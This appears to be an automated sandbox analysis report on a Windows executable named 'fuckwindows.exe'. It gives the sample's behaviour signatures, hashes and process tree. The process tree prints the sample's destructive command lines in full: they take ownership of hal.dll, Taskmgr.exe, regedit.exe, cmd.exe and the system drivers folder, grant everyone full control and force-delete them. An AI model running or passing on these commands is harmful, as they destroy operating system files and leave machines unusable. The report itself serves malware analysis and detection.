Analysis

  • max time kernel
    12s
  • max time network
    8s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 20:03

Errors

Reason
Machine shutdown

General

  • Target
    fuckwindows.exe
  • Size 1.2MB
  • Sample240801-ysrjaazelf
  • SHA256 5f5ebfbd21d876e32e201b60b40eb14eaff120adee64111a8ed55a1df8dc7a6d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Possible privilege escalation attempt 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 9 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
    "C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4984
      • C:\Windows\system32\takeown.exe
        takeown /f "c:\windows\system32\hal.dll"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4028
      • C:\Windows\system32\icacls.exe
        icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4040
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\Taskmgr.exe" && icacls "c:\windows\system32\Taskmgr.exe" /grant Everyone:(F) && del /f "c:\windows\system32\Taskmgr.exe" && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3892
      • C:\Windows\system32\takeown.exe
        takeown /f "c:\windows\system32\Taskmgr.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2628
      • C:\Windows\system32\icacls.exe
        icacls "c:\windows\system32\Taskmgr.exe" /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4976
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\regedit.exe" && icacls "c:\windows\regedit.exe" /grant Everyone:(F) && del /f "c:\windows\regedit.exe" && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\system32\takeown.exe
        takeown /f "c:\windows\regedit.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3744
      • C:\Windows\system32\icacls.exe
        icacls "c:\windows\regedit.exe" /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3392
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\cmd.exe" && icacls "c:\windows\system32\cmd.exe" /grant Everyone:(F) && del /f "c:\windows\system32\cmd.exe" && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4280
      • C:\Windows\system32\takeown.exe
        takeown /f "c:\windows\system32\cmd.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3172
      • C:\Windows\system32\icacls.exe
        icacls "c:\windows\system32\cmd.exe" /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4856
    • C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      2⤵
        PID:4728
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:1620
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:3440
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:2896
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:4820
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:3992
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe"
                  2⤵
                    PID:5024
                  • C:\Windows\System32\notepad.exe
                    "C:\Windows\System32\notepad.exe"
                    2⤵
                      PID:1484
                    • C:\Windows\System32\notepad.exe
                      "C:\Windows\System32\notepad.exe"
                      2⤵
                        PID:220
                      • C:\Windows\System32\notepad.exe
                        "C:\Windows\System32\notepad.exe"
                        2⤵
                          PID:3828
                        • C:\Windows\System32\notepad.exe
                          "C:\Windows\System32\notepad.exe"
                          2⤵
                            PID:2212
                          • C:\Windows\System32\notepad.exe
                            "C:\Windows\System32\notepad.exe"
                            2⤵
                              PID:3484
                            • C:\Windows\System32\notepad.exe
                              "C:\Windows\System32\notepad.exe"
                              2⤵
                                PID:4780
                              • C:\Windows\System32\notepad.exe
                                "C:\Windows\System32\notepad.exe"
                                2⤵
                                  PID:640
                                • C:\Windows\System32\notepad.exe
                                  "C:\Windows\System32\notepad.exe"
                                  2⤵
                                    PID:4208
                                  • C:\Windows\System32\notepad.exe
                                    "C:\Windows\System32\notepad.exe"
                                    2⤵
                                      PID:760
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
                                      2⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:4800
                                      • C:\Windows\system32\takeown.exe
                                        takeown /f "c:\windows\system32\drivers\*"
                                        3⤵
                                        • Possible privilege escalation attempt
                                        • Modifies file permissions
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2616
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
                                      2⤵
                                        PID:3552
                                        • C:\Windows\system32\wininit.exe
                                          "C:\Windows\system32\wininit.exe"
                                          3⤵
                                            PID:4308

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            __PSScriptPolicyTest_jgizefkk.f1n.ps1

                                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jgizefkk.f1n.ps1
                                            • Size 60B
                                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                            • MD5 SHA1 SHA512

                                            memory/536-0-0x00007FF629950000-0x00007FF629AEF000-memory.dmp

                                            memory/536-1-0x00007FF629950000-0x00007FF629AEF000-memory.dmp

                                            memory/3552-6-0x00000169FEC20000-0x00000169FEC42000-memory.dmp